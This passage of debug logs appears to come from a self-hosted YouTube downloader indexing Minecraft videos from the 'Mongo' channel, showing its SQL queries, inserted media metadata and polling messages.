m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:06.024 [debug] QUERY OK source="media_items" db=0.3ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141299] 19:44:06.024 [debug] Current batch of media processed. Will check again in 1000ms 19:44:07.025 [debug] Current batch of media processed. Will check again in 1000ms 19:44:08.026 [debug] Current batch of media processed. Will check again in 1000ms 19:44:09.027 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with GUGUGAGA PENGUIN! Can Mongo fool his friends and win the challenge, or will they discover his secret? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1361, "filename" => "/downloads/rory/Mongo/2026-06-01 I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!/I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle! [MSrXwMFFpYo].mp4", "id" => "MSrXwMFFpYo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MSrXwMFFpYo", "playlist_index" => 3, "timestamp" => 1780333227, "title" => "I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!", "upload_date" => "20260601"} 19:44:09.028 [debug] QUERY OK source="sources" db=0.2ms idle=1328.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:09.028 [debug] QUERY OK source="sources" db=0.1ms idle=1328.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:09.029 [debug] QUERY OK source="media_items" db=1.0ms idle=1329.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-01 17:00:27Z], 31] 19:44:09.030 [debug] QUERY OK source="media_items" db=0.5ms idle=1022.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with GUGUGAGA PENGUIN! Can Mongo fool his friends and win the challenge, or will they discover his secret? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!", "446ece78-7253-4367-9a4b-965a5b02953a", "MSrXwMFFpYo", false, "https://www.youtube.com/watch?v=MSrXwMFFpYo", 31, [], 1361, false, 3, "/downloads/rory/Mongo/2026-06-01 I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!/I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle! [MSrXwMFFpYo].mp4", false, false, 98, ~U[2026-06-01 17:00:27Z], ~U[2026-06-03 23:44:09Z], ~U[2026-06-03 23:44:09Z], "Mongo and his friends are doing a Minecraft Build Battle, but Mongo secretly cheats with GUGUGAGA PENGUIN! Can Mongo fool his friends and win the challenge, or will they discover his secret? Watch until the end to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!", "MSrXwMFFpYo", "https://www.youtube.com/watch?v=MSrXwMFFpYo", 31, 1361, false, "/downloads/rory/Mongo/2026-06-01 I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle!/I Cheated With GUGUGAGA PENGUIN In Minecraft Build Battle! [MSrXwMFFpYo].mp4", false, ~U[2026-06-01 17:00:27Z]] 19:44:09.031 [debug] QUERY OK source="sources" db=0.1ms idle=22.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:09.031 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:09.031 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [141080] 19:44:09.031 [debug] Current batch of media processed. Will check again in 1000ms 19:44:10.032 [debug] Current batch of media processed. Will check again in 1000ms 19:44:11.033 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo becomes a BABY HACKER in Minecraft! Mongo uses his new hacking powers to prank his friends and cause chaos. What happens when everyone discovers Mongo’s secret? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1263, "filename" => "/downloads/rory/Mongo/2026-05-31 Mongo Becomes a BABY HACKER in Minecraft!/Mongo Becomes a BABY HACKER in Minecraft! [-SXrtlMYJdk].mp4", "id" => "-SXrtlMYJdk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=-SXrtlMYJdk", "playlist_index" => 4, "timestamp" => 1780246807, "title" => "Mongo Becomes a BABY HACKER in Minecraft!", "upload_date" => "20260531"} 19:44:11.035 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=334.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:11.036 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=336.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:11.041 [debug] QUERY OK source="media_items" db=4.1ms queue=0.1ms idle=337.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-31 17:00:07Z], 31] 19:44:11.045 [debug] QUERY OK source="media_items" db=2.0ms queue=0.1ms idle=342.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo becomes a BABY HACKER in Minecraft! Mongo uses his new hacking powers to prank his friends and cause chaos. What happens when everyone discovers Mongo’s secret? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Mongo Becomes a BABY HACKER in Minecraft!", "6b386809-2efa-47e6-b7ce-65a31b0ef8f0", "-SXrtlMYJdk", false, "https://www.youtube.com/watch?v=-SXrtlMYJdk", 31, [], 1263, false, 4, "/downloads/rory/Mongo/2026-05-31 Mongo Becomes a BABY HACKER in Minecraft!/Mongo Becomes a BABY HACKER in Minecraft! [-SXrtlMYJdk].mp4", false, false, 98, ~U[2026-05-31 17:00:07Z], ~U[2026-06-03 23:44:11Z], ~U[2026-06-03 23:44:11Z], "Mongo becomes a BABY HACKER in Minecraft! Mongo uses his new hacking powers to prank his friends and cause chaos. What happens when everyone discovers Mongo’s secret? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "Mongo Becomes a BABY HACKER in Minecraft!", "-SXrtlMYJdk", "https://www.youtube.com/watch?v=-SXrtlMYJdk", 31, 1263, false, "/downloads/rory/Mongo/2026-05-31 Mongo Becomes a BABY HACKER in Minecraft!/Mongo Becomes a BABY HACKER in Minecraft! [-SXrtlMYJdk].mp4", false, ~U[2026-05-31 17:00:07Z]] 19:44:11.046 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=33.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:11.047 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.2ms idle=11.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:11.049 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=12.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140859] 19:44:11.049 [debug] Current batch of media processed. Will check again in 1000ms 19:44:12.050 [debug] Current batch of media processed. Will check again in 1000ms 19:44:13.051 [debug] Current batch of media processed. Will check again in 1000ms 19:44:14.052 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and Axy are doing a build battle on who can build the best NIGHTMARE FREDBEAR from FIVE NIGHTS AT FREDDYS! NIGHTMARE FREDBEAR is a SCARY HORROR MOB! Who wins Mongo or Axy the build challenge? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 1228, "filename" => "/downloads/rory/Mongo/2026-05-30 I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!/I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle! [gS2rtAwhgS4].mp4", "id" => "gS2rtAwhgS4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gS2rtAwhgS4", "playlist_index" => 5, "timestamp" => 1780160410, "title" => "I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!", "upload_date" => "20260530"} 19:44:14.053 [debug] QUERY OK source="sources" db=0.2ms idle=1353.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:14.053 [debug] QUERY OK source="sources" db=0.2ms idle=1353.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:14.054 [debug] QUERY OK source="media_items" db=1.1ms idle=1354.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 17:00:10Z], 31] 19:44:14.055 [debug] QUERY OK source="media_items" db=0.5ms idle=1040.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and Axy are doing a build battle on who can build the best NIGHTMARE FREDBEAR from FIVE NIGHTS AT FREDDYS! NIGHTMARE FREDBEAR is a SCARY HORROR MOB! Who wins Mongo or Axy the build challenge? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!", "434b06fb-b27f-44e1-84fb-49cc8ba803fd", "gS2rtAwhgS4", false, "https://www.youtube.com/watch?v=gS2rtAwhgS4", 31, [], 1228, false, 5, "/downloads/rory/Mongo/2026-05-30 I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!/I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle! [gS2rtAwhgS4].mp4", false, false, 98, ~U[2026-05-30 17:00:10Z], ~U[2026-06-03 23:44:14Z], ~U[2026-06-03 23:44:14Z], "Mongo and Axy are doing a build battle on who can build the best NIGHTMARE FREDBEAR from FIVE NIGHTS AT FREDDYS! NIGHTMARE FREDBEAR is a SCARY HORROR MOB! Who wins Mongo or Axy the build challenge? Watch to find out!\n\n#Mongo #Minecraft #MinecraftMod", "I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!", "gS2rtAwhgS4", "https://www.youtube.com/watch?v=gS2rtAwhgS4", 31, 1228, false, "/downloads/rory/Mongo/2026-05-30 I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle!/I Cheated With NIGHTMARE FREDBEAR In Minecraft Build Battle! [gS2rtAwhgS4].mp4", false, ~U[2026-05-30 17:00:10Z]] 19:44:14.056 [debug] QUERY OK source="sources" db=0.1ms idle=39.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:14.056 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:14.056 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140639] 19:44:14.057 [debug] Current batch of media processed. Will check again in 1000ms 19:44:15.057 [debug] Current batch of media processed. Will check again in 1000ms 19:44:16.058 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Mongo and his Friends are crying because of new horror mod in Minecraft? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "duration" => 969, "filename" => "/downloads/rory/Mongo/2026-05-29 This New Horror Mod Made Us CRY…/This New Horror Mod Made Us CRY… [MQ_d8wvuqLU].mp4", "id" => "MQ_d8wvuqLU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MQ_d8wvuqLU", "playlist_index" => 6, "timestamp" => 1780074006, "title" => "This New Horror Mod Made Us CRY…", "upload_date" => "20260529"} 19:44:16.059 [debug] QUERY OK source="sources" db=0.2ms idle=359.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [31] 19:44:16.059 [debug] QUERY OK source="sources" db=0.2ms idle=359.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:16.060 [debug] QUERY OK source="media_items" db=1.1ms idle=360.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-29 17:00:06Z], 31] 19:44:16.061 [debug] QUERY OK source="media_items" db=0.5ms idle=361.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Mongo and his Friends are crying because of new horror mod in Minecraft? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "This New Horror Mod Made Us CRY…", "eec4086b-7065-4374-92d1-0b8cae3ddefb", "MQ_d8wvuqLU", false, "https://www.youtube.com/watch?v=MQ_d8wvuqLU", 31, [], 969, false, 6, "/downloads/rory/Mongo/2026-05-29 This New Horror Mod Made Us CRY…/This New Horror Mod Made Us CRY… [MQ_d8wvuqLU].mp4", false, false, 98, ~U[2026-05-29 17:00:06Z], ~U[2026-06-03 23:44:16Z], ~U[2026-06-03 23:44:16Z], "Mongo and his Friends are crying because of new horror mod in Minecraft? Watch to find out!\n\n\n#Mongo #Minecraft #MinecraftMod", "This New Horror Mod Made Us CRY…", "MQ_d8wvuqLU", "https://www.youtube.com/watch?v=MQ_d8wvuqLU", 31, 969, false, "/downloads/rory/Mongo/2026-05-29 This New Horror Mod Made Us CRY…/This New Horror Mod Made Us CRY… [MQ_d8wvuqLU].mp4", false, ~U[2026-05-29 17:00:06Z]] 19:44:16.061 [debug] QUERY OK source="sources" db=0.2ms idle=43.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:44:16.062 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:44:16.062 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' 